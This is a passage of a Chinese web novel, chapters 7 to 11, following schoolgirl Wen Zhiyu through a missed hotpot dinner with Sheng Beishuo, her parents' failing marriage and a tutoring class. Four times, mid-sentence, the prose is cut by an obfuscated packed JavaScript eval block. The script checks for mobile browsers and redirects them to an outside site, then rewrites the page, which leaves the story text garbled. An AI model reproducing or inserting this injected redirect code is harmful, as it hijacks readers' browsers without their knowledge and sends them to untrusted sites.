一晃已经三年没见面了,他会变成什么样呢?他还和小时候一样板着个脸,但每次回来,都会给她带许多国外的礼物吗? 少女托腮,面对窗边,脑子里冒出许多漫无边际的想法。没一会儿,她就默默收回念头: 打住温知妤,你也太幼稚了吧!想点实际的! 不知道温志诚回来会待多久,估计也就几天时间?母亲心里一直记挂着他,应该不会再去超市了,那工作提前得安排好! 温知妤很快调整好了自己的情绪,到了下午,她给薛路打了声招呼,就径直去了自家店。 薛路开这家超市,本也不是为了挣多少钱,纯粹是温知妤上学,她一个人在家待着无聊,想找点事打发时间。 超市离家并不算远,从家属院出来,走过连接校区与街区的那座天桥,穿过对面的红绿灯路口,再沿着人行道步行十来分钟,也就到了。 超市规模挺大,开在一栋写字楼楼下,那一片是市中心的办公区域,职员流动量大,于是就像罗森一样,主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492282|202286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要卖点零食和快餐。 “妤姐,你怎么来啦?” 她刚进店,收银台的小陈就抬起头,眼睛一亮,朝她用力挥了挥手。 小姑娘和她年纪相仿,生着一张圆的脸,发量浓密,梳着两根乖巧的麻花辫,自带一种的亲和力。 如今这模样,和温知妤第一次见她时,判若两人。 两年前,小陈家里情况很不好,母亲重病卧床,底下还有个弟弟,她父亲为了拿到彩礼钱,早早就要把她嫁出去。 温知妤看她被逼得走投无路,心一软,便把人安排进了店里当店员。 这些事还是薛路讲的,她只记得有这么个人,具发生了什么,她完全忘记了。 店员不只小陈,都是轮流值班,一到放假和月底就容易乱。温知妤拿出七月底排班表,递给小陈,又细细叮嘱了几句近期补货取货的事宜。 小陈掏出小本本记下:“OK,妤老板请放一百个心吧。” 她记完抬眼看温知妤,这位大小姐和从前淡淡沉沉的样子不同,此刻,少女把心情明晃晃写在了脸上。 “有什么高兴的事吗?”她没忍住问。 温知妤心思被戳破,笑意更浓,有点小骄傲:“我爸要回来啦。” 少女出了店门,一阵阵夏风吹过,掺杂着柏油路的气息。她额间冒了微汗,几缕碎发黏在鬓边,步调却无比轻快,是不是该庆祝点什么? 想吃火锅,爆辣那种。 不过班上没几个很熟的人。 温知妤从兜里摸出手机,屏幕在午后炽烈的阳光下有些反光。她侧身躲到路边梧桐树的荫凉里,给余葵发了条消息。 【YUYU】:宝贝明天晚上有空吗? 对面秒回。 【小葵花】:明后天晚上我还在老家呢,不过大后天可以。怎么,要找我约会?[狗头jpg.] 温知妤嘴角弯了弯,指尖飞快地敲击。 【YUYU】:行。那就后天请你吃火锅。 【小葵花】:啊啊啊爱死你了温温,你怎么知道我正馋这一口? 【YUYU】:考试结束正好庆祝一下嘛。不过人可不能少,你那边把许浔也叫上吧,上次人家还帮我俩搬书呢。 【小葵花】:OKK还要叫谁? 温知妤背靠着梧桐树,若有所思地看向天空,头顶闪着晃动的光斑。她眯了眯眼,回:向初兰吧,就是不知道她有空没? 余葵在那头大概正对着风扇狂吹,直接回了条语音,似乎还带着欲言又止的热气: 温温,你也是真有钝感力……听我的找别人吧…… 【YUYU】:好吧,那我再想想。 向初兰都没来考试,多半忙着呢。温知妤这样想着,指尖在屏幕轻轻一滑,切换了聊天列表。 目光不自觉地下移,落在那只金色毛茸茸脑袋的头像上。 一来,这次期末发挥得不错,的确应该感谢一下盛北烁;二来她上次还到人家家里蹭了顿饭,这次请回来,也算两清了。 那就…… 指尖比脑子快了一步,邀请的消息已经发出去了。 那头盛北烁正睡午觉,旁边手机震动了一下,少年被扰了睡意,不耐烦地掀起薄薄的眼皮。 不用看都知道,多半是钟扬那孙子约他打球。 他懒得起身,单手摸过手机,漫不经心打开页面,红点却来自置顶消息,备注的小鱼。 盛北烁指尖下顿了半秒,戾气散了一大半。 【小鱼】:后天晚上有空吗? 8. Chapter8 2018/7/18 “我们之间,需要泛起多少涟漪,才能细水长流?” ——盛北烁日记 * 盛北烁微微勾起嘴角,但又想起了一件事,笑意很快就淡了下去。 他高考结束这段时间,盛柔和阮振国难得放松一个暑假,两人最近一直在商量着去日本度蜜月。 虽然盛北烁不去,但二老不知道办签证的流程,后天下午非要让他跟着去。 靠。 他打开聊天框给钟扬发消息。 【DAWN】:温知妤要约我出去。 【钟点工】:不是吧哥,秀恩爱还特地来通知我?虐待单身狗是吧你! 盛北烁看着屏幕嗤笑一声,指尖顿了顿,又敲字 【DAWN】:但我有事去不了,你说我要是拒绝,她不会难过吧? 【钟点工】:糊涂啊,千载难逢的机会往外推?她约了几个人? 【DAWN】:没说。 下一秒,钟扬直接甩来一条语音,声音激动:“那肯定得想办法去啊!多半就你们两个人单独约!” 盛北烁听了他的话,刚刚那点困意瞬间退散,他快速算了一遍行程。顺利的话,办完手续抓紧往回赶,下午五点前应该能到家,赴晚上的约应该来得及。 确定时间没问题,他指尖一动,点开和对方的聊天框,敲下一行字。 【DAWN】:嗯,有空。 【小鱼】:好的,七点钟渝城火锅见。 静默几秒,盛北烁放下了手机,指节按了按后颈。 他又看了眼消息。 啧,怎么还有点紧张。 * 二十三号,温知妤一觉睡到下午三点钟,她迅速起床,简单给脸上抹了点素颜霜,高高扎起马尾。 她五点半就出了家属院,倒也不是怕迟到,就是一想到要见到美食和小葵花,心里就有点激动。 渝城火锅就开在校门对面的那条小吃巷里,她虽然没去过这家,但据说味道还不错。温知妤过了天桥,粉色小包上的小狐狸尾巴挂件一晃一晃的。 她给余葵发了条消息:我快到了哦。 【小葵花】:我和许浔已经到门口了![龇牙笑jpg.] 温知妤抬眼,目光穿过巷子里来往的校友,一眼就望见了前面不远处,有块硕大的霓虹招牌,写着“渝城火锅”。 招牌下,熟悉的身影冲她挥了挥手。余葵今天扎了个双麻花辫,脸蛋红扑扑的,不知道是被闷热天气蒸的,还是因为跑过来急的。 余葵旁边静静站着一位清秀的少年,也朝她这边看了过来,温知妤这才后知后觉,自己刚刚的猜测都不对。 温知妤小跑过来:“你们也太早了,一起来的?” 余葵捂着嘴笑,眼睛弯成了两道小月牙,语气轻快又随意:“刚在宿舍公寓门口碰巧遇上的,就一起过来啦,哈哈哈。” 温知妤笑哼了一声,到底是偶遇还是故意等他,某人心里清楚哈。 她看破不说破,三人就站在火锅店门口,有一搭没一搭地聊着天。 说话间隙,温知妤抬手看了看表,已经接近六点钟了,还是没看见盛北烁的身影。 街边的车流渐渐多了起来,晚风吹来夏天的燥热,温知妤笑着揽过余葵道:“不等了,我们先进去吧。” 正值暑假,大多学生都回了家,火锅店里的客人稀稀拉拉,远没有平日的热闹。温知妤选了个里面一点的靠空调位置,店里的老板是土生土长的渝城人,刻在骨子里的爽朗热情,操着一口地道的渝普,热络地给她们推荐店里的招牌菜品和特色锅底。 少女想着既然有四个人,大手一挥就点了至尊豪华版套餐。 至于锅底,她和余葵倒是无辣不欢的性子,就是许浔看着文文弱弱,于是就点了鸳鸯锅。 点完单不过二三十分钟,服务员就推着餐车,将一桌子菜品陆陆续续上齐了,然而温知妤对面的位置却还空着。她低头摸出手机,发了条消息。 【YUYU】:我们准备开吃了,你还有多久? 她等了五分钟,对面才回。 【DAWN】:抱歉,下午陪人耽误了时间,路上堵车,你们先吃吧。 温知妤指尖顿了半秒,那点憋在心头的失落刚冒出头,又很快被她按了下去。 算了。 【YUYU】:行。 少女沉着脸关了手机。 一旁的余葵一直留意着她的神色,见状立马凑近,问道:“怎么了呀,盛北烁那边还有多久能过来?” 温知妤抬眼,语气平静地说道:“他在陪别人,堵车赶不回来了。” 许浔开口,安慰:“学长应该是在陪女朋友吧,也可以理解,我们自己吃就好。” 他这么一说,温知妤脸色更沉了下去。 虽然长得帅“忙”点可以理解,堵车也是客观因素,但下午既然要陪人,时间紧凑,拿不准的事就别答应。 ……白点那么多菜。 少女想到这里,就狠狠往嘴里塞了一口毛肚,决定把他的那份吃回来。 余葵往她碗里夹了块肉,以表安慰,一切话语尽在美食之中。 锅里的热气袅袅升起,余葵率先开口,转移了话题:“对了温温,许浔,你们暑假作业对答案没啊?” “还没呢,你都有答案了吗?”温知妤咽下一口辣肉,摇摇头。 余葵抬眼看向两人,见温知妤摇头,许浔也是一脸茫然的样子,不由得抬了抬下巴,有点小得意:“关键时候还得看我,等着,我现在就把整理好的word发你们。” 下一秒,温知妤的手机就震动了一下。 【小葵花】发来文件。 温知妤点进去一看,往下划拉几页,果然是完整版答案。余葵消息向来灵通,没想到这次如此神速。 余葵捧着手机,语气轻松:“我自己已经对过答案了,比预想的要好不少,希望能压线冲进A班。” 她把目光移向许浔,一脸镇定:“许学神肯定不用看就稳了吧?如果可以的话,我们下学期还做同桌呀。” 许浔说:“嗯,看情况吧。” 他眼睫微抬,一道目光极轻、极快地扫过了温知妤。 温知妤一直打趣地看着余葵,心想小葵花也太勇了,直球出击,可又瞧着许浔回答模棱两可,要不要借此推波助澜? 但下学期高三了,万一小葵花因此被影响了怎么办啊? 她正漫无边际地想着,刚要把手机放回小包里,就又接到了一个来电,是薛路的电话。 温知妤蹙眉,薛路虽然温柔,可管起她来总是不容分说的严格。只是现在才六点半,天还没全黑,怎么也不至于这么急着催她回去吧?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492283|202286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我去接个电话,你们先吃。” 火锅店有些嘈杂,她对他们打了声招呼,就径直出了店门,按下接听键。 “怎么了,妈?” 那头薛路沉声:“你爸下旬工作忙,不回来了。 街边的路灯不知何时亮了,天色暗了大半,微微燥热的夜风拂过脸颊,竟有些寒意。 温知妤沉默了一瞬,想起她这些天的行为,忽然自嘲地浅笑一声:“好的。” 温志诚本就是工作狂,几年不落家也很少打电话,就连之前她受伤住院,也没来探望过。 她在期待什么呢? 店内人声热闹,余葵还在叽叽喳喳地说着学校里的趣事,许浔偶尔搭上一两句。只有温知妤坐在一旁,透着股说不出的疲乏,后半段他们究竟聊了些什么,她一句也没听进去,食之无味。 快到八点,一餐总算结束。温知妤起身去前台结账。 老板好奇的同时不忘了推销,说:“诶小姑娘,你们三个人第一次来吧,点四人餐还剩了不少,我们家分量足,下次来点两人餐就足够了。” “谢谢老板。”温知妤说。“原本还有位朋友,临时有事没来。” 老板“哦”了一声,低头噼里啪啦按着计算器。温知妤结完账,一行人出了店门。 走了一会,三个人相对无言,温知妤显然没有来时的兴致,慢吞吞地走着,包上挂的粉色小尾巴也不晃了。 即使是大条的余葵也觉察到了气氛不对,侧头问:“温温,你脸色怎么这么差,是不是不太高兴啊?” “胡说什么呢。”温知妤低头,目光落在地砖上:“我不一直是这个表情。” 嘴硬成这样,那果然是生气了。 余葵说:“盛北烁……” 温知妤心里本就有一丝烦躁,听见这个名字,就打断道:“放心吧,我不会因为他生气,是家里有点事情啦。” 她往前走了几步,天桥下的风掠过发梢,路灯光线从上面斜斜洒下,拉出一片长长的影子。少年身形高挑,肩线利落干净,正背着光,朝她们所在的方向走来。 余葵跟在身后,小声弱弱地补充了一句:“我是想说,他就在前面啊。” 温知妤:…… 天桥下方是学校后门,为了方便学生出入,宿舍公寓就在这道门里,没走几步便到了地方。余葵看出两人之间诡异的氛围,拉了一把身旁的许浔,识趣地挥手告别,快步走进了校门。 夜色能见度很低,温知妤侧过身与盛北烁擦肩而过,继续朝着家属院的方向走。一路走到了闸机口,少女才停下脚步,伸手拉开小包的拉链,低头翻找着校园卡。 纸,素颜霜,小梳子……包的容量本就不大,一会儿就被温知妤翻了个底朝天,就是没见卡的影子。这个点门卫室也没人值班,估摸着吃饭去了。 温知妤叹了口气,自认倒霉,刚准备转身,侧边就伸出一个紧实的小臂,线条干净利落,腕骨匀称,几乎半环着将她圈在小小的空间里。 那张薄薄的校园卡被他修长的手指捏着,显得格外小巧。 “滴嗒。”闸机清脆地响了一声,挡板弹开。 一阵清冽的皂香从身后传来,后面来人比她高出许多,沉沉投下一片阴影,温知妤不用看就知道是谁。 少女不做声,先走了进去,身后的脚步声也不远不近跟了上来。 9. Chapter9 * 盛北烁没想到暑假办签证的人这么多,偌大的厅堂,排了很长的队才办理结束。他急匆匆打了个出租,又遇上晚高峰,十字路口堵得水泄不通,车子半天挪不动一步。 锦城的夏夜灯火通明,晚风卷着街边小吃的热气,西江路茂密的梧桐枝叶挡住了路灯,只透出斑驳的灯影,在少年的眼睫间晃漾。 阮振国坐在旁边闲得没事,难得开起了玩笑:“怎么这副表情,生气我和你妈没带上你啊?” 盛柔失笑:“他生气什么?不用当我俩的电灯泡,在家又没人降他,心里高兴死了吧?” 换做平时,盛北烁早回嘴怼回去了,可今天他却破天荒没吭声,路上就盯着那句简短的“行”。 “和谁聊天啊?”盛柔凑过去,八卦一笑。 盛北烁反应极快,修长的指节一扣,直接把手机揣进了口袋。 “切,小气。”盛柔翻了个白眼。 温知妤还和以前一样,不高兴的时候话就很少,也不会发火,只知道自己生闷气。刚刚遇见时,她还想蒙混过去,擦肩而过。 连卡都忘了带,记性差成什么样了。 少女此刻就在他前面走着,步伐不快,却刻意拉开了距离。盛北烁几乎碰到了她的影子,温知妤还是没有回头。 “盛学长,你还要跟我到多久啊?”少女声音冷不丁响起。 “没跟你,恰好一条路线回家。”盛北烁顿了顿,难得低头,语气软了几分。“抱歉啊,今天真不是故意鸽你的。” 温知妤淡淡应了声:“小事而已,没必要道歉。” “你生气了。”盛北烁侧过头,语气里褪去原先的散漫。 “那也不是你的原因,盛学长,你是不是想得太多了?”温知妤微微别过脸,她不喜欢被人猜测心思,生硬地回答。 温知妤在单元门口停下脚步,终于转过身,安静地看向他。 梧桐叶沙沙晃动,夜色落在她眉眼间,淡淡的,没什么情绪,却带着一层疏离。 “前段时间,谢谢你的帮助。这次说请你吃饭,也只是想还个人情。你不用因为没来觉得愧疚,我们就算两清了。” 盛北烁喉间发涩,尾音低低的:“你就这么不想和我有交集?” 温知妤蹙眉,想起了最近那些让她心绪不宁的事情,心口一阵发闷:“盛北烁,既然你有女朋友了,能不能别做出这种让人误会的举动? “谁说的?”盛北烁微微一顿,语气少见的急。“温知妤,我没有女朋友。” 少女敛去神色,转身开了铁门的锁,指尖一片冰凉。 “那也和我没什么关系,盛北烁。可能你会觉得我自恋了,但我现在就想把话说清楚,我没有心思去经营其他的感情。” “吱呀。”年久的铁门发出一声悠长又尖锐响,很快就关上了。夜色重归安静。 盛北烁垂在身侧的指节蓦然收紧。 * 老楼的声控感应灯总是时灵时不灵,散发着潮湿的气味。温知妤拖着沉重的步子拾阶而上,心情远没有表面那样平静。 一楼。 温志诚到底有什么远大的前途要去实现?连亲情都可以不去经营。 二楼。 听盛北烁今晚那些话,他真对她有意思?他们以前很熟? 三楼。 果然,男人心海底针。 老楼隔音不好,平日里楼上楼下拖沓的脚步声、邻居家电视里的台词声都能听见。所以薛路在家说话向来轻声细语,温知妤站在301室门口,很轻易地听见她在给人打电话,全然不同往日的温和。 “你跟我说苏子薇是你秘书?你当我傻呢?我说你一连三年都没回来,才是在外面做这些丢人的事!”薛路带着哭腔,尖声问。 苏子薇?温知妤蹙眉,这个名字并不陌生。以前母亲闲聊时提过,是温志诚公司里刚毕业没多久的实习生,模样乖巧,嘴也甜。她怎么也没想到,会在这样的情形下再次听见这个名字。 “是是是,都是我无理取闹,你在外面风光无限,挣你的大钱!小妤出了那么大的事,你连家都不肯回一趟,回头还想着逼她弹钢琴,有你这么当爸的吗?” “离婚?你说得倒轻松!”薛路的哭声越来越明显,“我们还有妤妤,她还在上学,我们离婚了,她怎么办?孩子要是知道了,该多难受啊……” “我不是不想离,我是放不下妤妤,我不想让她成为单亲家庭的孩子,我可以继续这样过下去,只要这个家是完整的。” 温知妤僵在门外,浑身发冷。祖父母家里是书香门第,薛路知书达理,处事向来游刃有余,她从未见过母亲这般模样。 在小时候,家里虽然没多少钱,但是父母都很相爱,薛路和温志诚是高中同学,一路走到了婚姻殿堂,也算模范夫妻。 两个当时如此相爱的人,竟也会走到这个地步吗? 温知妤手心冒着冷汗,她微微松了些,才发现手上不觉间全是红痕。 她从包里翻出钥匙,弄了好几次,才歪歪扭扭地对准,转了好几圈,才咔嗒一声开了门。 薛路瘫坐在沙发上,眼眶通红。她猝不及防见了温知妤,立刻挂断电话,强行挤出一个笑容:“妤妤,你这么早回来了?” 温知妤慢吞吞地换了鞋,沉默了一会,才缓缓抬起头。“妈,你们要是真的过不下去了,要离就离吧。” 薛路一证,抬起发红的眼睛:“妤妤,不是你想的那样,我和你爸爸就是吵了几句嘴,没有别的事。” “妈,你不用瞒着我。”温知妤语气很淡,听不出情绪。“我不介意的,不用为了我放弃自己的幸福。” “可是……” “你有钱有工作,没必要委屈自己。”温知妤打断说,语气轻快。“你好好考虑一下吧,我先睡了。” * 温知妤关上房门,脸上轻松的笑意才慢慢淡了下去。经历了一天的起落,她只觉得浑身疲惫,沉甸甸地往下坠,好像高兴了这么久,到头来还是一场空。 房间里安安静静,蝉鸣遥远,她靠在椅子上,望着窗外宁静的夏夜,万家灯火,却不知道为什么,鼻尖泛起一点酸涩。 一阵耳鸣,温知妤顿了顿,脑海里猝不及防闪过一些模糊的画面。 画面里是她自己,眉眼冷淡疏离,果真是传言中一副爱答不理的样子,具体发生过什么,她还是想不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492284|202286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真切,但大概清楚自己和身边人的关系了。 她百无聊赖地转了转笔,随手打开手机,目光却不受控制落在那个人的头像上,又鬼使神差地点进他的朋友圈。 第一张,就是少年毕业典礼的照片,盛北烁站在阳光下,笑得肆意张扬。 前途都要亮得睡不着了,还来找她做什么? 说实话,温知妤暗自猜测,按她失忆前那种性子,就算和盛北烁有过什么交集,多半也只是觉得他长得好看,一时兴起,压根就没当真。 靠近她的人太多了。 图她家世的,样貌的,从前踩得雷多了,温知妤就没想过要对谁付出真心。盛北烁对她大概也只是一时新鲜,有点好感罢了,还谈不上喜欢。现在说通了也好,及时止损。 温知妤在心里给自己浇了一盆冷水,定了定神,从书包里拿出期末考卷,又翻到余葵那一列,将发过来的答案一题题核对。 从语文开始,少女垂头勾画,选择题不错,作文先按平均分算;数学选填都没错,最后一题答案好像不太对;英语…… 她正低头算得专注,放在一旁的手机忽然震动了一下。 【小葵花】:温温,分班结果出来了,你快去群里看看! 她点开班级群,里面消息早已刷了几十条,几乎所有人都在线,刷屏刷得热闹。她指尖往上划了划,在点开分班文档前,心跳莫名快了几分。 目光先落在榜首,许浔依旧稳坐第一,意料之中。 往下滑动时,班级群里已经炸开了锅,范进中举类,痴心妄想类,无能哀嚎类,场面十分精彩。 【干饭积极分子】:我去,哈哈!我压线进了哈哈哈! 【帅气又自信】:老师我差两名被刷下去了,还能收不收插班生?我自备桌椅! 【不进A班不改名】:呜呜呜改不了名字了,我已看淡。 真是几家欢喜几家愁。 温知妤在重点班的名单里往下找,很快看见了自己的名字。第七名,609分。她心里轻轻松了口气,又继续顺着名单往下扫,在靠后的位置找到了余葵。 确认两人都进了A班,她嘴角不自觉往上弯了弯,心情愉悦了许多。 【YUYU】:小葵花!!发挥得不错呀,咱们下学期又可以一起了! 【小葵花】:啊啊啊我也特激动,今夜无眠,好好庆祝一下!! 其实高中生都有这么个共性。每次成绩榜单一出来,先火速扫完自己和好朋友的名次,心定下来后,就会开始研究其他人成绩的波动。 没过一会儿,余葵的消息就紧跟着炸了过来 【小葵花】:我去我去!温温你看见没?你同桌向初兰居然没进A班,我翻了好几遍都没找着她,后来才知道她居然缺考了一门! 【YUYU】:我那天在考场就没见她,可能有什么事吧? 【小葵花】:我有个小道消息,据说她本来要考的,结果不知被什么人拦了,后面去教务处哭着要重考也没用! 可惜了。 温知妤指尖微微顿了顿。向初兰平日里学习那么努力,从不惹事,是谁会闲着没事干,偏偏拦着她不让进考场,故意找人不痛快? 10. Chapter10 2018/7/20 “和她对视那一刻,居然会觉得紧张。” ——盛北烁日记 * 分班结果出来后不过两三天,温知妤突然就有了点高三的紧张感。她晚上在床上翻来覆去睡不着,突发奇想要给自己报个暑假补习班。 其实也不算突发奇想,她老早之前就想过了,西江路那段有一家补习机构,叫“蓉大文化补习学校”。 这是锦城最好的课外机构,据说那儿的老师都是名校退休骨干,还来一中宣讲过几回。 因为蓉大是本省最好的大学,不少学生都将次当做目标。 不过这机构打着蓉大的威风名头,无论是地理位置,还是师资力量都没半毛钱关系,可能创始人看上了这个寓意吧? 读了这个补习学校就能考蓉大? 听起来就像买老婆饼送老婆一样,有种淡淡的幽默感。 虽然营销有些过度了,但在温知妤印象里,向初兰和班上有好几个内卷的同学都报了名,周六周天去了补习,成绩确实很有起色。 温知妤开学的时候没去,只是当时学习太忙,就一拖再拖。现在暑假倒有一个月,正好可以补补数学和理综。 这下温志诚不回来了,薛路也要上班,她一个人在家里待着难免懈怠,不说“弯道超车”,至少别把知识忘了,毕竟下学期就要进A班,还有一场开学考。 温知妤以前就是A班的学生,一年过去,她还能依稀记得当时竞争的激烈。 第二天清早,温知妤起床简单洗漱了一下,就给这家补习机构打了咨询电话。 电话响了两声便被迅速接起,接线员声音挺年轻,听上去像是刚毕业出来兼职:“同学你好,请问有什么可以帮到您?” 温知妤说:“你好,我来咨询一下,你们暑假补习班开课了吗?” “开了几天了同学。”对方语气轻快又热情,“现在报名的话,今天就能过来免费试听一节课,而且我们今天还有特邀的高考状元过来现场分享学习经验呢,机会很难得的!” “我高中也报了这个班,成绩很有进步,你可以有空可以来看看呀~” “好的。” 温知妤挂了电话,没有多想。现在很多机构为了增加噱头,都会用什么状元的名头,至于是哪一届,久远到十年前都没人管。 少女看着镜中的自己面色憔悴,就换上一件清爽的蓝色短袖,又套了条简约的格子裙,不得不说,衣装确实能衬得人精神些。 薛路还没起床,可能是这几天心情不好,耗到了太晚。她轻手轻脚在厨房热了杯牛奶,拿了块荞麦面包就出了门。 温知妤自从搬来家属院,就很少让司机陈叔来接了。 一是学校和家就几步远,平时三点一线,就算偶尔要出门玩,她也觉得不妥。二是在家属院附近,老师同学进进出出,要是一辆迈巴赫停在门口,那未免也太招摇了。 补习班不远,坐地铁就三站。 虽然不到八点,但也恰巧赶上了早高峰,耳边人声嘈杂,温知妤随手戴上耳机,听起了纯音乐。她收藏的大多都是钢琴曲,好巧不巧切到了《WinterInMyHeart》。 温知妤垂眸,这当然是她最喜欢这一首,灵动又自由,是她从前练琴时,最向往也最想弹成的效果。 可一年前的舞台,就是当她弹到高音区的和弦,离自由那么近的时候,耳边炸起了玻璃碎裂的声响。 地铁的风声呼啸而过,她后背迅速冒起冷汗,苍白着脸色地切了歌,但并没有好转,她耳机里放的音乐已经全然听不进去了。 “前方到站,西江站。” 听到提示音,车门外流通的空气很快进来,温知妤如释重负。 不少补课的学生在这一站下车,温知妤随着人潮,直接被裹挟了出来。 西江站以这一片临近江边,按理说应该僻静一些,但由于周边房屋拆迁,居民楼下开的好几家店铺就改成了补习机构。 附近的居民图方便,就把自家孩子送来,久而久之名号打响了,周末不少有学生专程过来补课。 温知妤在楼下绕了好大一圈,愣是没找着地儿。不远处,小卖部门口坐了个穿背心的大爷,正在小马扎上嗑瓜子。她犹豫了下,走上前问:“您好,请问附近补课班……” 大爷抬眼瞥了她一下,满脸写着“年轻人啊怎么不识字”,还没等温知妤说完,就习惯地往楼上指了指。 少女顺着方向抬头一看,果然挂着很大个儿褪色的招牌,在风中飘啊飘。 温知妤有些尴尬地道了谢,没想到这么有名的学校条件实在难言,连楼梯都是老式窄梯。她上了楼,隔音也不好,依稀能听见里面的讲课声。 拐进大厅倒是敞亮些了,装修风格挺有趣,墙上贴了许多彩色的心愿纸,大致都是目标分数或是‘蓉大’。 她一边打量一边往里走,前台接线的老师正接完了个电话,见了温知妤,就热络地起身引路。 “我们这儿是小班制,你今天报名正好,再过几天班上爆满,就不招人了。” 温知妤“嗯”了一声,楼道不长,她抬眼一看,教室门口贴着班牌,写着卓越三班。 一个班只有二十来个学生,果真是小班制,现在正在做化学卷子,待会就有老师过来讲课。 前台老师在旁边压低声音,说:“上午是理综串讲,半下午讲数学专项,你今天要是有空,正好可以试听完。” 温知妤点头,在讲台上抽了张模考试卷,不少同学听到响动就抬头,她目光随意一扫,还找到了几个同班同学 向初兰架着个眼镜,正专心埋头地做题,闻声下意识抬眼,视线刚巧和温知妤对上。 温知妤跟她关系还算熟,也没多想,自然而然地拉过椅子,在她旁边的空位坐下。 向初兰:…… 向初兰脸立马拉了下来,指尖顿了顿,好半天没再动笔。等温知妤写完一道大题,她才心烦地翻了一面,笔把卷面划拉地刺啦响。 等到中午,温知妤把试卷一交,就在准备去吃午饭。出了补习班,往右拐就有一家湘西小菜馆,她便进去点了份小炒。 菜还没上齐,向初兰就不知从哪跟了过来,在她跟前拉了把椅子坐下,神色怪怪的。 “你要和我一起吃饭吗?”温知妤问。 向初兰把胳膊往桌上一放,开门见山道,“看到我没考上A班,你是不是觉得很高兴,还专门过来嘲笑我?” 温知妤说:“我只是觉得可惜,为什么要嘲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492285|202286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑你?” 向初兰脸上愠色更深:“你少给我装傻!” “那天拦你的人应该不是我吧?”温知妤蹙了蹙眉,不太喜欢被人质问。“你不去找看你的人,把这账算我头上做什么?” 向初兰顿了顿,像是没料到温知妤会知道这件事。 她眼里的底气消了大半,脸色青了一截,说:“和别人无关,就是我自己不想考,现在来找你茬纯属看你不顺眼,行了吧!” 菜上齐了,温知妤也不生气,自顾自拿起筷子,慢条斯理地吃了起来。 向初兰拿她没辙,心里又气又难过,饭也不点转身就走,出了店门,她也不知道自己是怎么想的,神使鬼差回头看了一眼。 少女微垂着眼睫,姿态从容,像是从不会害怕,也没有什么能影响到她。就是坐在这样杂乱的小店里,一举一动都显得矜贵。 有那么一瞬间,向初兰突然好羡慕她。 * 从高考结束到现在,盛柔每天的电话就没断过,大大小小的补习机构轮番轰炸,花钱想请这位高考状元做经验分享。 这天一早,铃声又锲而不舍地响了。盛柔被吵得睡意全无,顶着一头乱糟糟的头发,忍无可忍地冲进盛北烁卧室。 “盛北烁,你小子够精啊!” 她往门边一靠,语气又气又好笑,“在学校填表、留联系方式,全填老娘的手机号,合着你自己清净,天天骚扰我是吧?” “尤其是蓉大文化这家,太流氓了,你不就高二那会儿在他家补过一学期吗?他们这个月打了不下七八回,你给人家个准信啊!” 少年眼皮都没抬一下,懒懒地往椅背上一靠,百无聊赖转着笔。“去呗。” 盛柔当场愣住。 自家儿子什么性子她再清楚不过,向来不爱凑这种形式主义的热闹,往常这种邀请都跟要了他命似的,今天居然这么爽快就答应了? 事出反常必有妖。 她愣了好半天,一脸狐疑地上下打量他,憋出一句:“你最近缺钱花了?” 盛北烁:“……” 前段围着温知妤团团转,这下被她一拒绝,心情不好,盛北烁球懒得打,店里也不愿去,整日闷着也不是办法,干脆找点事打发时间。 得。 盛北烁简单准备了一下,随意抓了件宽松的浅灰T恤,搭配深色休闲裤,清爽利落。下午就动身去了机构。 这地儿他熟,之前听信阮老头的屁话,来补过一阵子课。可周末这儿管得实在太严,他本就性子散漫,受不了处处被管教,索性后面就没来过了。 盛北烁刚到门口,温知妤还在斜后方努力赶卷子,忽然听到班上掀一阵哗然。 旁边一个陌生女生眼睛都亮了,小声惊叹:“我去我去,这还真是一中的盛北烁?长愣帅……!” 另一个人跟着小声接话:“是演员来这里取景么还是?我们成了校园剧中的一环?” 温知妤被打断思路,心里一阵烦乱,她不耐地微微抬头,便撞进了盛北烁好看的桃花眼里。 温知妤:“?” 盛北烁:“?” 行吧。 温知妤手里还捏着卷子,不着痕迹地收回目光。她就这样坐在台下,静静看着熟人装X。 11. Chapter11 * 